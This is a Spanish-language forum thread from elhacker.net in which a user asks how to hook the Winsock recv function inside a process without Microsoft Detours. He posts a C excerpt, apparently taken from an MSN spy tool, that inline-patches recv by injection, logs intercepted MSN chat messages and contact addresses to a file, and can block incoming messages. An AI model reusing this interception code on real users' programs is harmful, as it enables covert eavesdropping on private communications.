elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  hook a recv sin ms detours?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: hook a recv sin ms detours?  (Leído 3,138 veces)
while

Desconectado Desconectado

Mensajes: 24


Ver Perfil
hook a recv sin ms detours?
« en: 5 Octubre 2010, 01:31 am »

Hola, alguien podria poner algun ejemplo muy brebe y sencillo de como hacer hook a recv sin detours?

Quiero en una dll meter en un thread:
while(true)
{

recv(num,buf,sizeof(buf), 0);

if((*(unsigned short*)buf)==0x7245)
{
algo
break;
}

}

y inyectarla a un programa, asi poder capturar todos los paquetes que reciba la aplicación sin parar, de forma paralela, y actuar justo sobre el que quiero (0x7245)

Saludos y muchas gracias!


En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: hook a recv sin ms detours?
« Respuesta #1 en: 5 Octubre 2010, 19:01 pm »

  Busca el MSN Nighthemare de mazard alli hay un buen ejemplo de hook a recv ...


En línea

while

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: hook a recv sin ms detours?
« Respuesta #2 en: 6 Octubre 2010, 23:25 pm »

Lo estuve viendo hace unos dias, y por eso buscaba algo sencillo, para ver como hace para hookear.

Código:
void HookearRec(void);

int WINAPI recHook(SOCKET s,char *buf,int len,int flags);
int (__stdcall *pBuffrec)(SOCKET s,char *buf,int len,int flags);;


void HookearRec(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),"recv");

if ((Buffer=(BYTE *)malloc(NumBytes+5))==NULL) return;
if (VirtualProtect((void *) Buffer,NumBytes+5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

memcpy(Buffer,DirApi,NumBytes);

Buffer+=NumBytes;
*Buffer=0xE9;
Buffer++;
*((signed int *) Buffer)=DirApi-Buffer+(NumBytes-5)+1;


pBuffrec = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-NumBytes-1);

if (VirtualProtect((void *) DirApi,NumBytes,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

DirYo=(BYTE *) recHook;
*DirApi=0xE9;
DirApi++;
*((signed int *) DirApi)=DirYo-DirApi-4;

FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

int WINAPI recHook(SOCKET s,char *buf,int len,int flags)
{
int res;
char Escric[1024];
int payl;
FILE *Xat;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;



res=pBuffrec(s,buf,len,flags);


if ((Ini=strstr(buf,"IRO "))!=NULL && strstr(buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=s;
}

if (buf!=NULL && strcmp(buf,"")!=0 && (Ini=strstr(buf,"MSG"))!=NULL && strstr(buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Xat=fopen(xatFile,"a");
fputs("\r\n",Xat);
fputs(Escric,Xat);
fputs(" dice:",Xat);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Xat);
fputs(Ini2,Xat);
fclose(Xat);

if (blockrec)
{
strcpy(buf,"\0");
len=0;
return 0;
}
}


return (res);
}


Conoces algun otro sencillo y conciso?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error con el manejo de send y recv
Programación C/C++
Mr.Blue 2 3,276 Último mensaje 26 Noviembre 2010, 20:01 pm
por Mr.Blue
Recv Function Crash ( Noblocking Mode)
Programación Visual Basic
ntaryl 1 1,649 Último mensaje 20 Julio 2011, 21:21 pm
por ntaryl
Interceptar Opengl32 con Detours y obtener un WH
Programación C/C++
85 4 2,323 Último mensaje 10 Abril 2013, 04:48 am
por 85
Interceptar con Detours el Opengl nativo por TEB
Programación C/C++
85 3 3,688 Último mensaje 11 Abril 2013, 00:23 am
por Luchoz95
[Librería C++] Detours, Codecaves, Return Adress Spoofing y mucho más
Ingeniería Inversa
blipi 1 2,345 Último mensaje 7 Febrero 2014, 00:33 am
por blipi
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines